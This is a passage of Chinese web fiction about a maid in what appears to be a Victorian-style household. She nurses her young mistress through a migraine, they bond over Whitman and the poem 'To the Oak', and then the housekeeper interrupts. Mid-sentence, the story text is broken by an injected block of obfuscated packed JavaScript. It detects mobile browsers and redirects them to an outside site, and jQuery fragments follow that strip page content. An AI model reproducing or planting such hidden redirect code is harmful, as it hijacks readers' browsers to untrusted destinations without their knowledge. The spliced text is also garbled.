女仆们把脸藏在各自的被窝里，聊着夜间八卦。
黑暗里，玛莎的声音带着点酸溜溜的意味，猜测着某个男仆是不是又偷偷去和阿斯特家女仆约会了。露西含糊地应着，睡意比好奇心更浓。
就在这时，一阵铃声猛地惊扰昏昏欲睡的宁静。
它不是持续的响动，而是断断续续、带着某种痛苦节奏的拉扯。声音来自连接各主人卧室的拉铃系统——那是一套沿着墙壁铺设的铜线和滑轮装置，每个主要房间的床头都有一根拉绳，末端通向仆役区域，以便主人随时召唤。此刻，其中一个铃铛正响着。
「……又是谁？」玛莎烦躁地用枕头捂住脑袋，声音模糊不清。
露西翻了个身，嘟囔着：「是东边走廊……听着像是……埃莉诺小姐的房间？老天，都几点了……
安妮睁着眼，听着那铃声。
被窝里的一点暖意让人舍不得动弹。深秋寒夜里从热被窝爬出来，去应付某位小姐可能的突发奇想，简直是酷刑。
没人起身。
最终，她叹了口气。她掀开了被子，冷气瞬间裹住了她，激起一层鸡皮疙瘩。
「你去哪？」露西惊讶地小声问。
「去看看。」安妮摸索着穿上冰冷的袜子和鞋，「听着不太对劲。」
「你疯了吗……梅布尔太太会去的……」玛莎的声音从枕头下传来，带着睡意和不满。
安妮没理会，划亮火柴，点燃煤油灯，小心翼翼地打开门，走进了漆黑冰冷的走廊。铃声在空旷的廊道里听得更加清晰了。
安妮在墙壁上确认了下，是埃莉诺房间的铃。
她来到埃莉诺小姐的房门外，轻轻敲了敲。
里面传来闷闷的声音，「请进。」
安妮推开了门。
房间里只点着一盏床头灯，光线昏暗。埃莉诺·布鲁克蜷缩在床上，脸埋在枕头里，完全不是平日那个仪态端庄的淑女。
「小姐？」安妮轻声唤道，快步走到床边，轻轻挪开枕头。
只见她双手紧紧按着两侧太阳穴，金发被汗水濡湿，黏在额角和脸颊上。她的身体因为痛苦而微微发抖。
埃莉诺虚弱地抬起头，看到是安妮，似乎愣了一下，「疼……」她几乎是呜咽着说，声音无力，「我的头……像要裂开了……」
安妮立刻放下油灯。「您躺着，别动。」她环顾四周，看到梳妆台上有一个陶瓷水罐和盆子。
她走过去试了试水温，水已经冷了。正好。她将一块干净的细亚麻布手帕浸入冷水中，拧得半干，然后折好敷在埃莉诺的额头上。
冰冷的刺激让埃莉诺猛地吸了口气，但紧接着，那冰冷的压力似乎暂时压住了剧烈的疼痛，她紧绷的身体稍微松弛了一点。
「好点了吗？」安妮低声问，一边用手背轻轻拂开埃莉诺脸上的湿发。
埃莉诺闭着眼，长长的睫毛上还挂着泪珠，她微弱地点了点头。
安妮又倒了一杯清水，小心地递到埃莉诺唇边。「慢慢喝一点，小姐。」
埃莉诺就着她的手小口啜饮了几口，冰凉的水滑过喉咙，让她稍微平静了一些。她重新躺回去，看着安妮忙碌——她重新浸湿了手帕，再次敷上，动作轻柔却利落。
「谢谢……」埃莉诺的声音依旧虚弱，但少了那份绝望的哭腔，「我突然就犯头疼。害你跑一趟。」
「是因为吹风了吗。」安妮温和地问。
埃莉诺苦笑了一下，没说话，只是闭眼忍受着上一波疼痛的余威。安妮安静地守在床边，适时地更换冷敷的手帕。房间里只剩下两人轻微的呼吸声和煤油灯芯偶尔爆开的噼啪声。
过了好一会儿，剧烈的疼痛似乎终于退潮，变成了隐隐的钝痛。埃莉诺长长地、疲惫地吁出一口气。她再次睁开眼，看着安妮，眼神里没有了平日的距离感，只剩下大病初愈般的脆弱和感激。
「不是因为天气，就是我想着事儿，想着想着，就痛起来了。」埃莉诺轻声说，她的手无意识地从被子里伸出来，碰到了安妮放在床边的手。她没有松开，反而像是抓住一根浮木般轻轻握住了。「安妮，你和别人不一样……我能感觉到。你既不疏远我，也不刻意讨好我。」
安妮感觉到她指尖的冰凉和轻微的颤抖。没有抽回手。她猜测，埃莉诺长期处于某种焦虑和无形的压力中，当这种焦虑和压力无法排解，越积越多，终于以急性偏头疼的形式爆发了，不是今晚，也在某个时刻。
「您现在需要的不是疏远也不是讨好，小姐，您需要一点帮助。」
这句话像是打开了某个闸门。埃莉诺的眼泪无声地流了下来，但她这次没有躲藏。「帮助……是的，姑妈已经尽其所能地帮我了，给我安排了目前最适合我的道路……可那……我总是担心……」她的话语有些混乱，充满了压抑已久的情绪。
她的目光无助地扫过床头柜，那里散放着几本书和写满了数字的记账薄。安妮的目光也随之落过去。她看到最上面是一本深绿色封皮的书，书名是《草叶集》。
沃尔特·惠特曼。歌颂自我、平等与自由的诗集。在这个时代，一位深闺小姐阅读惠特曼，本身就带着一种隐秘的反叛。
「担心？」安妮顺着她的话问，声音更轻了。
埃莉诺似乎才意识到自己失言，有限财产和不确定性的将来，既定的命运和对自由选择的渴望，远大的目标和能力的欠缺，应该成为谁还是可能成为谁……这些隐秘的矛盾的问题难以诉说，这终究是自己的问题，不是安妮的。她猛地收住话头，顺着安妮的目光看向那本书，脸上掠过一丝被人发现秘密的惊慌。她下意识地想盖住书。
安妮却温和地开口，仿佛只是随口一提：「《草叶集》……这是一本很勇敢的书。」
埃莉诺的眼睛睁大了，惊讶完全压过了头痛和尴尬。「你……你知道这本书？」
一个女仆，怎么可能知道惠特曼？还用了“勇敢”这个词？
安妮看到埃莉诺眼中的好奇和探寻，决定冒险说下去。「以前……听一位有学问的先生提起过。他说这本书里的诗，是为所有渴望自由的心灵写的。」
「自由……」埃莉诺喃喃地重复这个词，像是品尝一颗从未吃过的糖果，味道复杂。「是的，它很勇敢。它说‘我赞美我自己，歌唱我自己’……可在这里，」她的声音低了下去，带着苦涩，「一个女孩怎么能只想着‘自己’？她的价值取决于很多东西。」
她像是在对安妮说，又像是在自言自语，积压的苦闷找到了一个微小的漏口。「姑妈让我读那些礼仪手册和圣经，可它……它不一样。它让我觉得……觉得也许我可以不只是埃莉诺·布鲁克，我可以是我自己。但这想法太奇怪了，也太可怕了……」她的手指无意识地抠着书页边缘。
安妮看着她，看到了一个茫然不安的青涩灵魂，或许连埃莉诺自己都不明白自己真正面临什么样的困境。她想起了另一首诗，一首来自她遥远故乡、却与此地此刻无比契合的诗。
「小姐，」安妮的声音很平静，却带着一种奇异的力量，「在我的故乡，有一句古老的诗歌。它说，我如果爱你——绝不像攀援的凌霄花，借你的高枝炫耀自己；我必须是你近旁的一株木棉，作为树的形象和你站在一起。根，紧握在地下；叶，相触在云里。」
她用缓慢而清晰的英语，尽量还原了那份意境。
房间里突然陷入一片寂静。
安妮缓缓解释道，「很多人以为这首诗在歌颂爱情。其实是……」
「不！这当然不是说爱情。」埃莉诺忘记了头痛，忘记了哭泣，只是怔怔地看着安妮。
「树……木棉……」埃莉诺喃喃道，她的眼睛像是被点亮了，一种强烈的、前所未有的共鸣在她心底炸开。这句陌生的诗句，以一种比《草叶集》更精炼、更形象的方式，击
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417907|184715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中了她内心最深的渴望。平等、独立、并肩而立……而不是攀附、依赖、作为陪衬。
「……每一阵风过，我们都互相致意，但没有人，听懂我们的言语」安妮继续轻声吟诵，每一个字都击在埃莉诺的心上。
「这才是……这才是……」埃莉诺激动得几乎说不出话，她反手紧紧握住安妮的手，「安妮！这诗歌太……它完全说出了……你的故乡，那一定是个很特别的地方！」
她的眼睛里闪烁着狂热的好奇和找到知音的巨大惊喜。她们不再是小姐和女仆，而是两个在精神上瞬间靠近的灵魂。
「我的家乡很远，小姐。」安妮避重就轻，微微笑了笑，「在那里，人们相信，人类社会很多美好的部分，譬如爱，譬如尊重，源于彼此都是独立的个体。」
就在这时，门外走廊突然传来一阵清晰而略显急促的脚步声！紧接着，是梅布尔太太夹杂着几分焦急的声音：「埃莉诺小姐？您房里是有什么动静吗？我好像听到说话声？」
房间内的温情和默契瞬间被打破！
安妮反应极快，立刻站起身，迅速将冷敷的手帕和水杯拿到手里，做出正在伺候的样子。
/
门被推开一道缝。
梅布尔太太严肃的脸探了进来，她的睡帽有些歪，眼神像扫帚一样迅速扫过房间，最后牢牢钉在站在床边的安妮身上。
「埃莉诺小姐？」梅布尔的声音带着审视，「我听到些动静。这么晚了，是有什么需要吗？」
埃莉诺立刻发出一声虚弱的呻吟，手指按上太阳穴，声音比刚才更加气若游丝：「梅布尔太太……是我不舒服，头痛得厉害，实在忍不住才拉了铃。安妮她很好，她帮我拿了冷水，我感觉好多了。」她适时地又吸了口气，显得楚楚可怜。
安妮微微低下头，双手交叠在身前，一副恭顺的样子：「太太。我听到铃声就赶紧过来了。小姐看起来很难受。」
梅布尔的目光又落回埃莉诺苍白的脸上，「头痛可不是小事。需不需要我去禀告夫人，请个医生来瞧瞧？」
「谢谢您，梅布尔太太。我已经好多了，不想惊动姑妈。安妮照料的很好……我想安静地睡一晚，明天就会没事儿的。」她说着，眼神恳求地望向女管家。
梅布尔抿了抿嘴，最终点了点头。
她走近两步，习惯性地整理了一下床头柜上的东西，目光在那本深绿色封面的《草叶集》上停留了一瞬，但并没说什么，只是又提醒了一句：「埃莉诺小姐，您也该爱惜身体，别总是熬夜看书。」
「我知道了，谢谢您。」埃莉诺轻声应道。
梅布尔这才转身，又瞥了安妮一眼，眼神里的探究并未完全散去，但她没再说什么，轻轻带上门离开了。
房间里陷入一片沉默。
「那首诗叫什么名字？」埃莉诺忍不住又低声问。
「致橡树。小姐。」
「我不会忘记的。」
安妮迎上她的目光，轻轻点了点头：「好好休息，小姐。什么都别想了。」
她走上前，替埃莉诺掖好被角，又将手帕重新浸湿、拧干，轻轻放在她的额头上。
埃莉诺顺从地闭上眼睛，但嘴角似乎有一丝极淡的、安心的弧度。
安妮安静地守了一会儿，直到听到她的呼吸变得均匀绵长，才踮着脚尖，悄无声息地退到门口。
她没有立刻离开，只是在黑暗里静静站了一小会儿。
……
有时候她会想，穿越而来上天想让她做些什么？总要做些什么吧？
她是为什么而来？她肩负着什么责任？
是自己，化身拯救世人的天使？
还是自己，拯救那些厄于命运的天使？
亦或者，踩在所有的翅膀上，不顾一切的乘风而起？
人活一世，总得自私一些？
可她已经活了两世了。